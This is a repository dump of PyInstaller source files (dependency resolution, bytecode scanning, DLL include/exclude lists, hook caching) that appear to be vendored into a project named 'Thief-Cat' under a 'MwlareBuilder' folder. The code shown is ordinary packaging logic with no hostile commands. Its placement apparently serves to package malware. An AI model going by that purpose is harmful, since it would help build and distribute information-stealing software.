                # POSIX systems, linker resolves unversioned library names (python3.X.so) to versioned ones
                # (libpython3.X.so.1.0) due to former being symbolic linkes to the latter. See #6831.
                full_path = os.path.realpath(full_path)
                if not os.path.exists(full_path):
                    continue
                return full_path
        return None

    # If this is Microsoft App Store Python, check the compat.base_path first. While compat.python_executable resolves
    # to actual python.exe file, the latter contains a relative library reference that we fail to properly resolve.
    if compat.is_ms_app_store:
        python_libname = _find_lib_in_libdirs(compat.base_prefix)
        if python_libname:
            return python_libname

    # Try to get Python library name from the Python executable. It assumes that Python library is not statically
    # linked.
    imported_libraries = get_imports(compat.python_executable)  # (name, fullpath) tuples
    for _, lib_path in imported_libraries:
        if lib_path is None:
            continue  # Skip unresolved imports
        for name in compat.PYDYLIB_NAMES:
            if os.path.normcase(os.path.basename(lib_path)) == name:
                # Python library found. Return absolute path to it.
                return lib_path

    # Python library NOT found. Resume searching using alternative methods.

    # Work around for python venv having VERSION.dll rather than pythonXY.dll
    if compat.is_win and any([os.path.normcase(lib_name) == 'version.dll' for lib_name, _ in imported_libraries]):
        pydll = 'python%d%d.dll' % sys.version_info[:2]
        return resolve_library_path(pydll, [os.path.dirname(compat.python_executable)])

    # Applies only to non Windows platforms and conda.

    if compat.is_conda:
        # Conda needs to be the first here since it overrules the operating system specific paths.
        python_libname = _find_lib_in_libdirs(os.path.join(compat.base_prefix, 'lib'))
        if python_libname:
            return python_libname

    elif compat.is_unix:
        for name in compat.PYDYLIB_NAMES:
            python_libname = findLibrary(name)
            if python_libname:
                return python_libname

    if compat.is_darwin or compat.is_linux:
        # On MacPython, Analysis.assemble is able to find the libpython with no additional help, asking for
        # sys.executable dependencies. However, this fails on system python, because the shared library is not listed as
        # a dependency of the binary (most probably it is opened at runtime using some dlopen trickery). This happens on
        # Mac OS when Python is compiled as Framework.
        # Linux using pyenv is similarly linked so that sys.executable dependencies does not yield libpython.so.

        # Python compiled as Framework contains same values in sys.prefix and exec_prefix. That is why we can use just
        # sys.prefix. In virtualenv, PyInstaller is not able to find Python library. We need special care for this case.
        python_libname = _find_lib_in_libdirs(
            compat.base_prefix,
            os.path.join(compat.base_prefix, 'lib'),
        )
        if python_libname:
            return python_libname

    # Python library NOT found. Return None and let the caller deal with this.
    return None


#- Binary vs data (re)classification


def classify_binary_vs_data(filename):
    """
    Classify the given file as either BINARY or a DATA, using appropriate platform-specific method. Returns 'BINARY'
    or 'DATA' string depending on the determined file type, or None if classification cannot be performed (non-existing
    file, missing tool, and other errors during classification).
    """

    # We cannot classify non-existent files.
    if not os.path.isfile(filename):
        return None

    # Use platform-specific implementation.
    return _classify_binary_vs_data(filename)


if compat.is_linux:

    def _classify_binary_vs_data(filename):
        # See if `objdump` recognizes the file. Strictly speaking, we should probably also check that it recognizes it
        # as an ELF file, or even as an ELF file for the running platform.
        cmd_args = ['objdump', '-a', filename]
        try:
            p = subprocess.run(
                cmd_args,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                stdin=subprocess.DEVNULL,
                universal_newlines=True,
            )
        except Exception:
            return None  # Failed to run `objdump` or `objdump` unavailable.

        return 'BINARY' if p.returncode == 0 else 'DATA'

elif compat.is_win:

    def _classify_binary_vs_data(filename):
        # See if the file can be opened using `pefile`.
        import pefile

        try:
            pe = pefile.PE(filename, fast_load=True)  # noqa: F841
            return 'BINARY'
        except Exception:
            # TODO: catch only `pefile.PEFormatError`?
            pass

        return 'DATA'

elif compat.is_darwin:

    def _classify_binary_vs_data(filename):
        # See if the file can be opened using `macholib`.
        import macholib.MachO

        try:
            macho = macholib.MachO.MachO(filename)  # noqa: F841
            return 'BINARY'
        except Exception:
            # TODO: catch only `ValueError`?
            pass

        return 'DATA'

else:

    def _classify_binary_vs_data(filename):
        # Classification not implemented for the platform.
        return None

ThiefCat_assets/MwlareBuilder/depend/bindepend.py
KSCH-58/Thief-Cat
# -*- coding: utf-8 -*-
"""
Tools for searching bytecode for key statements that indicate the need for additional resources, such as data files
and package metadata.

By *bytecode* I mean the ``code`` object given by ``compile()``, accessible from the ``__code__`` attribute of any
non-builtin function or, in PyInstallerLand, the ``PyiModuleGraph.node("some.module").code`` attribute. The best
guide for bytecode format I have found is the disassembler reference: https://docs.python.org/3/library/dis.html

This parser implementation aims to combine the flexibility and speed of regex with the clarity of the output of
``dis.dis(code)``. It has not achieved the 2nd, but C'est la vie...

The biggest clarity killer here is the ``EXTENDED_ARG`` opcode which can appear almost anywhere and therefore needs
to be tiptoed around at every step. If this code needs to expand significantly, I would recommend an upgrade to a
regex-based grammar parsing library such as Reparse. This way, little steps like unpacking ``EXTENDED_ARGS`` can be
defined once then simply referenced forming a nice hierarchy rather than copied everywhere its needed.
"""

import dis
import re
from types import CodeType
from typing import Pattern

from PyInstaller import compat

# opcode name -> opcode map
# Python 3.11 introduced specialized opcodes that are not covered by opcode.opmap (and equivalent dis.opmap), but dis
# has a private map of all opcodes called _all_opmap. So use the latter, if available.
opmap = getattr(dis, '_all_opmap', dis.opmap)


def _instruction_to_regex(x: str):
    """
    Get a regex-escaped opcode byte from its human readable name.
    """
    return re.escape(bytes([opmap[x]]))


def bytecode_regex(pattern: bytes, flags=re.VERBOSE | re.DOTALL):
    """
    A regex-powered Python bytecode matcher.

    ``bytecode_regex`` provides a very thin wrapper around :func:`re.compile`.

      * Any opcode names wrapped in backticks are substituted for their corresponding opcode bytes.
      * Patterns are compiled in VERBOSE mode by default so that whitespace and comments may be used.

    This aims to mirror the output of :func:`dis.dis`, which is far more readable than looking at raw byte strings.
    """
    assert isinstance(pattern, bytes)

    # Replace anything wrapped in backticks with regex-escaped opcodes.
    pattern = re.sub(
        rb"`(\w+)`",
        lambda m: _instruction_to_regex(m[1].decode()),
        pattern,
    )
    return re.compile(pattern, flags=flags)


def finditer(pattern: Pattern, string: bytes):
    """
    Call ``pattern.finditer(string)``, but remove any matches beginning on an odd byte (i.e., matches where
    match.start() is not a multiple of 2).

    This should be used to avoid false positive matches where a bytecode pair's argument is mistaken for an opcode.
    """
    assert isinstance(string, bytes)
    string = _cleanup_bytecode_string(string)
    matches = pattern.finditer(string)
    while True:
        for match in matches:
            if match.start() % 2 == 0:
                # All is good. This match starts on an OPCODE.
                yield match
            else:
                # This match has started on an odd byte, meaning that it is a false positive and should be skipped.
                # There is a very slim chance that a genuine match overlaps this one and, because re.finditer() does not
                # allow overlapping matches, it would be lost. To avoid that, restart the regex scan, starting at the
                # next even byte.
                matches = pattern.finditer(string, match.start() + 1)
                break
        else:
            break


# Opcodes involved in function calls with constant arguments. The differences between python versions are handled by
# variables below, which are then used to construct the _call_function_bytecode regex.
# NOTE1: the _OPCODES_* entries are typically used in (non-capturing) groups that match the opcode plus an arbitrary
# argument. But because the entries themselves may contain more than on opcode (with OR operator between them), they
# themselves need to be enclosed in another (non-capturing) group. E.g., "(?:(?:_OPCODES_FUNCTION_GLOBAL).)".
# NOTE2: _OPCODES_EXTENDED_ARG2 is an exception, as it is used as a list of opcodes to exclude, i.e.,
# "[^_OPCODES_EXTENDED_ARG2]". Therefore, multiple opcodes are not separated by the OR operator.
if not compat.is_py311:
    # Python 3.7 introduced two new function-related opcodes, LOAD_METHOD and CALL_METHOD
    _OPCODES_EXTENDED_ARG = rb"`EXTENDED_ARG`"
    _OPCODES_EXTENDED_ARG2 = _OPCODES_EXTENDED_ARG
    _OPCODES_FUNCTION_GLOBAL = rb"`LOAD_NAME`|`LOAD_GLOBAL`|`LOAD_FAST`"
    _OPCODES_FUNCTION_LOAD = rb"`LOAD_ATTR`|`LOAD_METHOD`"
    _OPCODES_FUNCTION_ARGS = rb"`LOAD_CONST`"
    _OPCODES_FUNCTION_CALL = rb"`CALL_FUNCTION`|`CALL_METHOD`|`CALL_FUNCTION_EX`"

    def _cleanup_bytecode_string(bytecode):
        return bytecode  # Nothing to do here
elif not compat.is_py312:
    # Python 3.11 removed CALL_FUNCTION and CALL_METHOD, and replaced them with PRECALL + CALL instruction sequence.
    # As both PRECALL and CALL have the same parameter (the argument count), we need to match only up to the PRECALL.
    # The CALL_FUNCTION_EX is still present.
    # From Python 3.11b1 on, there is an EXTENDED_ARG_QUICK specialization opcode present.
    _OPCODES_EXTENDED_ARG = rb"`EXTENDED_ARG`|`EXTENDED_ARG_QUICK`"
    _OPCODES_EXTENDED_ARG2 = rb"`EXTENDED_ARG``EXTENDED_ARG_QUICK`"  # Special case; see note above the if/else block!
    _OPCODES_FUNCTION_GLOBAL = rb"`LOAD_NAME`|`LOAD_GLOBAL`|`LOAD_FAST`"
    _OPCODES_FUNCTION_LOAD = rb"`LOAD_ATTR`|`LOAD_METHOD`"
    _OPCODES_FUNCTION_ARGS = rb"`LOAD_CONST`"
    _OPCODES_FUNCTION_CALL = rb"`PRECALL`|`CALL_FUNCTION_EX`"

    # Starting with python 3.11, the bytecode is peppered with CACHE instructions (which dis module conveniently hides
    # unless show_caches=True is used). Dealing with these CACHE instructions in regex rules is going to render them
    # unreadable, so instead we pre-process the bytecode and filter the offending opcodes out.
    _cache_instruction_filter = bytecode_regex(rb"(`CACHE`.)|(..)")

    def _cleanup_bytecode_string(bytecode):
        return _cache_instruction_filter.sub(rb"\2", bytecode)

else:
    # Python 3.12 merged EXTENDED_ARG_QUICK back in to EXTENDED_ARG, and LOAD_METHOD in to LOAD_ATTR
    # PRECALL is no longer a valid key
    _OPCODES_EXTENDED_ARG = rb"`EXTENDED_ARG`"
    _OPCODES_EXTENDED_ARG2 = _OPCODES_EXTENDED_ARG
    _OPCODES_FUNCTION_GLOBAL = rb"`LOAD_NAME`|`LOAD_GLOBAL`|`LOAD_FAST`"
    _OPCODES_FUNCTION_LOAD = rb"`LOAD_ATTR`"
    _OPCODES_FUNCTION_ARGS = rb"`LOAD_CONST`"
    _OPCODES_FUNCTION_CALL = rb"`CALL`|`CALL_FUNCTION_EX`"

    _cache_instruction_filter = bytecode_regex(rb"(`CACHE`.)|(..)")

    def _cleanup_bytecode_string(bytecode):
        return _cache_instruction_filter.sub(rb"\2", bytecode)


# language=PythonVerboseRegExp
_call_function_bytecode = bytecode_regex(
    rb"""
    # Matches `global_function('some', 'constant', 'arguments')`.

    # Load the global function. In code with >256 of names, this may require extended name references.
    (
     (?:(?:""" + _OPCODES_EXTENDED_ARG + rb""").)*
     (?:(?:""" + _OPCODES_FUNCTION_GLOBAL + rb""").)
    )

    # For foo.bar.whizz(), the above is the 'foo', below is the 'bar.whizz' (one opcode per name component, each
    # possibly preceded by name reference extension).
    (
     (?:
       (?:(?:""" + _OPCODES_EXTENDED_ARG + rb""").)*
       (?:""" + _OPCODES_FUNCTION_LOAD + rb""").
     )*
    )

    # Load however many arguments it takes. These (for now) must all be constants.
    # Again, code with >256 constants may need extended enumeration.
    (
      (?:
        (?:(?:""" + _OPCODES_EXTENDED_ARG + rb""").)*
        (?:""" + _OPCODES_FUNCTION_ARGS + rb""").
      )*
    )

    # Call the function. If opcode is CALL_FUNCTION_EX, the parameter are flags. For other opcodes, the parameter
    # is the argument count (which may be > 256).
    (
      (?:(?:""" + _OPCODES_EXTENDED_ARG + rb""").)*
      (?:""" + _OPCODES_FUNCTION_CALL + rb""").
    )
"""
)

# language=PythonVerboseRegExp
_extended_arg_bytecode = bytecode_regex(
    rb"""(
    # Arbitrary number of EXTENDED_ARG pairs.
    (?:(?:""" + _OPCODES_EXTENDED_ARG + rb""").)*

    # Followed by some other instruction (usually a LOAD).
    [^""" + _OPCODES_EXTENDED_ARG2 + rb"""].
)"""
)


def extended_arguments(extended_args: bytes):
    """
    Unpack the (extended) integer used to reference names or constants.

    The input should be a bytecode snippet of the following form::

        EXTENDED_ARG    ?      # Repeated 0-4 times.
        LOAD_xxx        ?      # Any of LOAD_NAME/LOAD_CONST/LOAD_METHOD/...

    Each ? byte combined together gives the number we want.
    """
    return int.from_bytes(extended_args[1::2], "big")


def load(raw: bytes, code: CodeType) -> str:
    """
    Parse an (extended) LOAD_xxx instruction.
    """
    # Get the enumeration.
    index = extended_arguments(raw)

    # Work out what that enumeration was for (constant/local var/global var).

    # If the last instruction byte is a LOAD_FAST:
    if raw[-2] == opmap["LOAD_FAST"]:
        # Then this is a local variable.
        return code.co_varnames[index]
    # Or if it is a LOAD_CONST:
    if raw[-2] == opmap["LOAD_CONST"]:
        # Then this is a literal.
        return code.co_consts[index]
    # Otherwise, it is a global name.
    if compat.is_py311 and raw[-2] == opmap["LOAD_GLOBAL"]:
        # In python 3.11, namei>>1 is pushed on stack...
        return code.co_names[index >> 1]
    if compat.is_py312 and raw[-2] == opmap["LOAD_ATTR"]:
        # In python 3.12, namei>>1 is pushed on stack...
        return code.co_names[index >> 1]

    return code.co_names[index]


def loads(raw: bytes, code: CodeType) -> list:
    """
    Parse multiple consecutive LOAD_xxx instructions. Or load() in a for loop.

    May be used to unpack a function's parameters or nested attributes ``(foo.bar.pop.whack)``.
    """
    return [load(i, code) for i in _extended_arg_bytecode.findall(raw)]


def function_calls(code: CodeType) -> list:
    """
    Scan a code object for all function calls on constant arguments.
    """
    match: re.Match
    out = []

    for match in finditer(_call_function_bytecode, code.co_code):
        function_root, methods, args, function_call = match.groups()

        # For foo():
        #   `function_root` contains 'foo' and `methods` is empty.
        # For foo.bar.whizz():
        #   `function_root` contains 'foo' and `methods` contains the rest.
        function_root = load(function_root, code)
        methods = loads(methods, code)
        function = ".".join([function_root] + methods)

        args = loads(args, code)
        if function_call[0] == opmap['CALL_FUNCTION_EX']:
            flags = extended_arguments(function_call)
            if flags != 0:
                # Keyword arguments present. Unhandled at the moment.
                continue
            # In calls with const arguments, args contains a single
            # tuple with all values.
            if len(args) != 1 or not isinstance(args[0], tuple):
                continue
            args = list(args[0])
        else:
            arg_count = extended_arguments(function_call)

            if arg_count != len(args):
                # This happens if there are variable or keyword arguments. Bail out in either case.
                continue

        out.append((function, args))

    return out


def search_recursively(search: callable, code: CodeType, _memo=None) -> dict:
    """
    Apply a search function to a code object, recursing into child code objects (function definitions).
    """
    if _memo is None:
        _memo = {}
    if code not in _memo:
        _memo[code] = search(code)
        for const in code.co_consts:
            if isinstance(const, CodeType):
                search_recursively(search, const, _memo)
    return _memo


def recursive_function_calls(code: CodeType) -> dict:
    """
    Scan a code object for function calls on constant arguments, recursing into function definitions and bodies of
    comprehension loops.
    """
    return search_recursively(function_calls, code)


def any_alias(full_name: str):
    """List possible aliases of a fully qualified Python name.

        >>> list(any_alias("foo.bar.wizz"))
        ['foo.bar.wizz', 'bar.wizz', 'wizz']

    This crudely allows us to capture uses of wizz() under any of
    ::
        import foo
        foo.bar.wizz()
    ::
        from foo import bar
        bar.wizz()
    ::
        from foo.bar import wizz
        wizz()

    However, it will fail for any form of aliases and quite likely find false matches.
    """
    parts = full_name.split('.')
    while parts:
        yield ".".join(parts)
        parts = parts[1:]

ThiefCat_assets/MwlareBuilder/depend/bytecode.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
Manipulating with dynamic libraries.
"""

import os.path

from PyInstaller.utils.win32 import winutils

__all__ = ['exclude_list', 'include_list', 'include_library']

import os
import re

import PyInstaller.log as logging
from PyInstaller import compat

logger = logging.getLogger(__name__)

# Ignoring some system libraries speeds up packaging process
_excludes = {
    # Ignore annoying warnings with Windows system DLLs.
    #
    # 'W: library kernel32.dll required via ctypes not found'
    # 'W: library coredll.dll required via ctypes not found'
    #
    # These these dlls has to be ignored for all operating systems because they might be resolved when scanning code for
    # ctypes dependencies.
    r'advapi32\.dll',
    r'ws2_32\.dll',
    r'gdi32\.dll',
    r'oleaut32\.dll',
    r'shell32\.dll',
    r'ole32\.dll',
    r'coredll\.dll',
    r'crypt32\.dll',
    r'kernel32',
    r'kernel32\.dll',
    r'msvcrt\.dll',
    r'rpcrt4\.dll',
    r'user32\.dll',
    # Some modules tries to import the Python library. e.g. pyreadline.console.console
    r'python\%s\%s',
}

# Regex includes - overrides excludes. Include list is used only to override specific libraries from exclude list.
_includes = set()

_win_includes = {
    # We need to allow collection of Visual Studio C++ (VC) runtime DLLs from system directories in order to avoid
    # missing DLL errors when the frozen application is run on a system that does not have the corresponding VC
    # runtime installed. The VC runtime DLLs may be dependencies of python shared library itself or of extension
    # modules provided by 3rd party packages.

    # Visual Studio 2010 (VC10) runtime
    # http://msdn.microsoft.com/en-us/library/8kche8ah(v=vs.100).aspx
    r'atl100\.dll',
    r'msvcr100\.dll',
    r'msvcp100\.dll',
    r'mfc100\.dll',
    r'mfc100u\.dll',
    r'mfcmifc80\.dll',
    r'mfcm100\.dll',
    r'mfcm100u\.dll',

    # Visual Studio 2012 (VC11) runtime
    # https://docs.microsoft.com/en-us/visualstudio/releases/2013/2012-redistribution-vs
    #
    # VC110.ATL
    r'atl110\.dll',
    # VC110.CRT
    r'msvcp110\.dll',
    r'msvcr110\.dll',
    r'vccorlib110\.dll',
    # VC110.CXXAMP
    r'vcamp110\.dll',
    # VC110.MFC
    r'mfc110\.dll',
    r'mfc110u\.dll',
    r'mfcm110\.dll',
    r'mfcm110u\.dll',
    # VC110.MFCLOC
    r'mfc110chs\.dll',
    r'mfc110cht\.dll',
    r'mfc110enu\.dll',
    r'mfc110esn\.dll',
    r'mfc110deu\.dll',
    r'mfc110fra\.dll',
    r'mfc110ita\.dll',
    r'mfc110jpn\.dll',
    r'mfc110kor\.dll',
    r'mfc110rus\.dll',
    # VC110.OpenMP
    r'vcomp110\.dll',
    # DIA SDK
    r'msdia110\.dll',

    # Visual Studio 2013 (VC12) runtime
    # https://docs.microsoft.com/en-us/visualstudio/releases/2013/2013-redistribution-vs
    #
    # VC120.CRT
    r'msvcp120\.dll',
    r'msvcr120\.dll',
    r'vccorlib120\.dll',
    # VC120.CXXAMP
    r'vcamp120\.dll',
    # VC120.MFC
    r'mfc120\.dll',
    r'mfc120u\.dll',
    r'mfcm120\.dll',
    r'mfcm120u\.dll',
    # VC120.MFCLOC
    r'mfc120chs\.dll',
    r'mfc120cht\.dll',
    r'mfc120deu\.dll',
    r'mfc120enu\.dll',
    r'mfc120esn\.dll',
    r'mfc120fra\.dll',
    r'mfc120ita\.dll',
    r'mfc120jpn\.dll',
    r'mfc120kor\.dll',
    r'mfc120rus\.dll',
    # VC120.OPENMP
    r'vcomp120\.dll',
    # DIA SDK
    r'msdia120\.dll',
    # Cpp REST Windows SDK
    r'casablanca120.winrt\.dll',
    # Mobile Services Cpp Client
    r'zumosdk120.winrt\.dll',
    # Cpp REST SDK
    r'casablanca120\.dll',

    # Universal C Runtime Library (since Visual Studio 2015)
    #
    # NOTE: these should be put under a switch, as they need not to be bundled if deployment target is Windows 10
    # and later, as "UCRT is now a system component in Windows 10 and later, managed by Windows Update".
    # (https://docs.microsoft.com/en-us/cpp/windows/determining-which-dlls-to-redistribute?view=msvc-170)
    # And as discovered in #6326, Windows prefers system-installed version over the bundled one, anyway
    # (see https://docs.microsoft.com/en-us/cpp/windows/universal-crt-deployment?view=msvc-170#local-deployment).
    r'api-ms-win-core.*',
    r'api-ms-win-crt.*',
    r'ucrtbase\.dll',

    # Visual Studio 2015/2017/2019/2022 (VC14) runtime
    # https://docs.microsoft.com/en-us/visualstudio/releases/2022/redistribution
    #
    # VC141.CRT/VC142.CRT/VC143.CRT
    r'concrt140\.dll',
    r'msvcp140\.dll',
    r'msvcp140_1\.dll',
    r'msvcp140_2\.dll',
    r'msvcp140_atomic_wait\.dll',
    r'msvcp140_codecvt_ids\.dll',
    r'vccorlib140\.dll',
    r'vcruntime140\.dll',
    r'vcruntime140_1\.dll',
    # VC141.CXXAMP/VC142.CXXAMP/VC143.CXXAMP
    r'vcamp140\.dll',
    # VC141.OpenMP/VC142.OpenMP/VC143.OpenMP
    r'vcomp140\.dll',
    # DIA SDK
    r'msdia140\.dll',

    # Allow pythonNN.dll, pythoncomNN.dll, pywintypesNN.dll
    r'py(?:thon(?:com(?:loader)?)?|wintypes)\d+\.dll',
}

_win_excludes = {
    # On Windows, only .dll files can be loaded.
    r'.*\.so',
    r'.*\.dylib',

    # MS assembly excludes
    r'Microsoft\.Windows\.Common-Controls',
}

_unix_excludes = {
    r'libc\.so(\..*)?',
    r'libdl\.so(\..*)?',
    r'libm\.so(\..*)?',
    r'libpthread\.so(\..*)?',
    r'librt\.so(\..*)?',
    r'libthread_db\.so(\..*)?',
    # glibc regex excludes.
    r'ld-linux\.so(\..*)?',
    r'libBrokenLocale\.so(\..*)?',
    r'libanl\.so(\..*)?',
    r'libcidn\.so(\..*)?',
    r'libcrypt\.so(\..*)?',
    r'libnsl\.so(\..*)?',
    r'libnss_compat.*\.so(\..*)?',
    r'libnss_dns.*\.so(\..*)?',
    r'libnss_files.*\.so(\..*)?',
    r'libnss_hesiod.*\.so(\..*)?',
    r'libnss_nis.*\.so(\..*)?',
    r'libnss_nisplus.*\.so(\..*)?',
    r'libresolv\.so(\..*)?',
    r'libutil\.so(\..*)?',
    # graphical interface libraries come with graphical stack (see libglvnd)
    r'libE?(Open)?GLX?(ESv1_CM|ESv2)?(dispatch)?\.so(\..*)?',
    r'libdrm\.so(\..*)?',
    # a subset of libraries included as part of the Nvidia Linux Graphics Driver as of 520.56.06:
    # https://download.nvidia.com/XFree86/Linux-x86_64/520.56.06/README/installedcomponents.html
    r'nvidia_drv\.so',
    r'libglxserver_nvidia\.so(\..*)?',
    r'libnvidia-egl-(gbm|wayland)\.so(\..*)?',
    r'libnvidia-(cfg|compiler|e?glcore|glsi|glvkspirv|rtcore|allocator|tls|ml)\.so(\..*)?',
    r'lib(EGL|GLX)_nvidia\.so(\..*)?',
    # libxcb-dri changes ABI frequently (e.g.: between Ubuntu LTS releases) and is usually installed as dependency of
    # the graphics stack anyway. No need to bundle it.
    r'libxcb\.so(\..*)?',
    r'libxcb-dri.*\.so(\..*)?',
}

_aix_excludes = {
    r'libbz2\.a',
    r'libc\.a',
    r'libC\.a',
    r'libcrypt\.a',
    r'libdl\.a',
    r'libintl\.a',
    r'libpthreads\.a',
    r'librt\\.a',
    r'librtl\.a',
    r'libz\.a',
}

if compat.is_win:
    _includes |= _win_includes
    _excludes |= _win_excludes
elif compat.is_aix:
    # The exclude list for AIX differs from other *nix platforms.
    _excludes |= _aix_excludes
elif compat.is_unix:
    # Common excludes for *nix platforms -- except AIX.
    _excludes |= _unix_excludes


class ExcludeList:
    def __init__(self):
        self.regex = re.compile('|'.join(_excludes), re.I)

    def search(self, libname):
        # Running re.search() on '' regex never returns None.
        if _excludes:
            return self.regex.match(os.path.basename(libname))
        else:
            return False


class IncludeList:
    def __init__(self):
        self.regex = re.compile('|'.join(_includes), re.I)

    def search(self, libname):
        # Running re.search() on '' regex never returns None.
        if _includes:
            return self.regex.match(os.path.basename(libname))
        else:
            return False


exclude_list = ExcludeList()
include_list = IncludeList()

if compat.is_darwin:
    # On Mac use macholib to decide if a binary is a system one.
    from macholib import util

    class MacExcludeList:
        def __init__(self, global_exclude_list):
            # Wraps the global 'exclude_list' before it is overridden by this class.
            self._exclude_list = global_exclude_list

        def search(self, libname):
            # First try global exclude list. If it matches, return its result; otherwise continue with other check.
            result = self._exclude_list.search(libname)
            if result:
                return result
            else:
                return util.in_system_path(libname)

    exclude_list = MacExcludeList(exclude_list)

elif compat.is_win:

    class WinExcludeList:
        def __init__(self, global_exclude_list):
            self._exclude_list = global_exclude_list
            # use normpath because msys2 uses / instead of \
            self._windows_dir = os.path.normpath(winutils.get_windows_dir().lower())

        def search(self, libname):
            libname = libname.lower()
            result = self._exclude_list.search(libname)
            if result:
                return result
            else:
                # Exclude everything from the Windows directory by default.
                # .. sometimes realpath changes the case of libname, lower it
                # .. use normpath because msys2 uses / instead of \
                fn = os.path.normpath(os.path.realpath(libname).lower())
                return fn.startswith(self._windows_dir)

    exclude_list = WinExcludeList(exclude_list)

_seen_wine_dlls = set()  # Used for warning tracking in include_library()


def include_library(libname):
    """
    Check if the dynamic library should be included with application or not.
    """
    if exclude_list:
        if exclude_list.search(libname) and not include_list.search(libname):
            # Library is excluded and is not overridden by include list. It should be excluded.
            return False

    # If we are running under Wine and the library is a Wine built-in DLL, ensure that it is always excluded. Typically,
    # excluding a DLL leads to an incomplete bundle and run-time errors when the said DLL is not installed on the target
    # system. However, having Wine built-in DLLs collected is even more detrimental, as they usually provide Wine's
    # implementation of low-level functionality, and therefore cannot be used on actual Windows (i.e., system libraries
    # from the C:\Windows\system32 directory that might end up collected due to ``_win_includes`` list; a prominent
    # example are VC runtime DLLs, for which Wine provides their own implementation, unless user explicitly installs
    # Microsoft's VC redistributable package in their Wine environment). Therefore, excluding the Wine built-in DLLs
    # actually improves the chances of the bundle running on Windows, or at least makes the issue easier to debug by
    # turning it into the "standard" missing DLL problem. Exclusion should not affect the bundle's ability to run under
    #  Wine itself, as the excluded DLLs are available there.
    if compat.is_win_wine and compat.is_wine_dll(libname):
        if libname not in _seen_wine_dlls:
            logger.warning("Excluding Wine built-in DLL: %s", libname)  # displayed only if DLL would have been included
            _seen_wine_dlls.add(libname)  # display only once for each DLL
        return False

    return True


# Patterns for suppressing warnings about missing dynamically linked libraries
_warning_suppressions = []

# On some systems (e.g., openwrt), libc.so might point to ldd. Suppress warnings about it.
if compat.is_linux:
    _warning_suppressions.append(r'ldd')

# Suppress false warnings on win 10 and UCRT (see issue #1566).
if compat.is_win_10:
    _warning_suppressions.append(r'api-ms-win-.*\.dll')


class MissingLibWarningSuppressionList:
    def __init__(self):
        self.regex = re.compile('|'.join(_warning_suppressions), re.I)

    def search(self, libname):
        # Running re.search() on '' regex never returns None.
        if _warning_suppressions:
            return self.regex.match(os.path.basename(libname))
        else:
            return False


missing_lib_warning_suppression_list = MissingLibWarningSuppressionList()


def warn_missing_lib(libname):
    """
    Check if a missing-library warning should be displayed for the given library name (or full path).
    """
    return not missing_lib_warning_suppression_list.search(libname)

ThiefCat_assets/MwlareBuilder/depend/dylib.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
Code related to processing of import hooks.
"""

import glob
import os.path
import sys
import weakref

from PyInstaller import log as logging
from PyInstaller.building.utils import format_binaries_and_datas
from PyInstaller.compat import expand_path, importlib_load_source
from PyInstaller.depend.imphookapi import PostGraphAPI
from PyInstaller.exceptions import ImportErrorWhenRunningHook

logger = logging.getLogger(__name__)

# Safety check: Hook module names need to be unique. Duplicate names might occur if the cached PyuModuleGraph has an
# issue.
HOOKS_MODULE_NAMES = set()


class ModuleHookCache(dict):
    """
    Cache of lazily loadable hook script objects.

    This cache is implemented as a `dict` subclass mapping from the fully-qualified names of all modules with at
    least one hook script to lists of `ModuleHook` instances encapsulating these scripts. As a `dict` subclass,
    all cached module names and hook scripts are accessible via standard dictionary operations.

    Attributes
    ----------
    module_graph : ModuleGraph
        Current module graph.
    _hook_module_name_prefix : str
        String prefixing the names of all in-memory modules lazily loaded from cached hook scripts. See also the
        `hook_module_name_prefix` parameter passed to the `ModuleHook.__init__()` method.
    """

    _cache_id_next = 0
    """
    0-based identifier unique to the next `ModuleHookCache` to be instantiated.

    This identifier is incremented on each instantiation of a new `ModuleHookCache` to isolate in-memory modules of
    lazily loaded hook scripts in that cache to the same cache-specific namespace, preventing edge-case collisions
    with existing in-memory modules in other caches.

    """
    def __init__(self, module_graph, hook_dirs):
        """
        Cache all hook scripts in the passed directories.

        **Order of caching is significant** with respect to hooks for the same module, as the values of this
        dictionary are lists. Hooks for the same module will be run in the order in which they are cached. Previously
        cached hooks are always preserved rather than overridden.

        By default, official hooks are cached _before_ user-defined hooks. For modules with both official and
        user-defined hooks, this implies that the former take priority over and hence will be loaded _before_ the
        latter.

        Parameters
        ----------
        module_graph : ModuleGraph
            Current module graph.
        hook_dirs : list
            List of the absolute or relative paths of all directories containing **hook scripts** (i.e.,
            Python scripts with filenames matching `hook-{module_name}.py`, where `{module_name}` is the module
            hooked by that script) to be cached.
        """
        super().__init__()

        # To avoid circular references and hence increased memory consumption, a weak rather than strong reference is
        # stored to the passed graph. Since this graph is guaranteed to live longer than this cache,
        # this is guaranteed to be safe.
        self.module_graph = weakref.proxy(module_graph)

        # String unique to this cache prefixing the names of all in-memory modules lazily loaded from cached hook
        # scripts, privatized for safety.
        self._hook_module_name_prefix = '__PyInstaller_hooks_{}_'.format(ModuleHookCache._cache_id_next)
        ModuleHookCache._cache_id_next += 1

        # Cache all hook scripts in the passed directories.
        self._cache_hook_dirs(hook_dirs)

    def _cache_hook_dirs(self, hook_dirs):
        """
        Cache all hook scripts in the passed directories.

        Parameters
        ----------
        hook_dirs : list
            List of the absolute or relative paths of all directories containing hook scripts to be cached.
        """

        for hook_dir in hook_dirs:
            # Canonicalize this directory's path and validate its existence.
            hook_dir = os.path.abspath(expand_path(hook_dir))
            if not os.path.isdir(hook_dir):
                raise FileNotFoundError('Hook directory "{}" not found.'.format(hook_dir))

            # For each hook script in this directory...
            hook_filenames = glob.glob(os.path.join(hook_dir, 'hook-*.py'))
            for hook_filename in hook_filenames:
                # Fully-qualified name of this hook's corresponding module, constructed by removing the "hook-" prefix
                # and ".py" suffix.
                module_name = os.path.basename(hook_filename)[5:-3]

                # Lazily loadable hook object.
                module_hook = ModuleHook(
                    module_graph=self.module_graph,
                    module_name=module_name,
                    hook_filename=hook_filename,
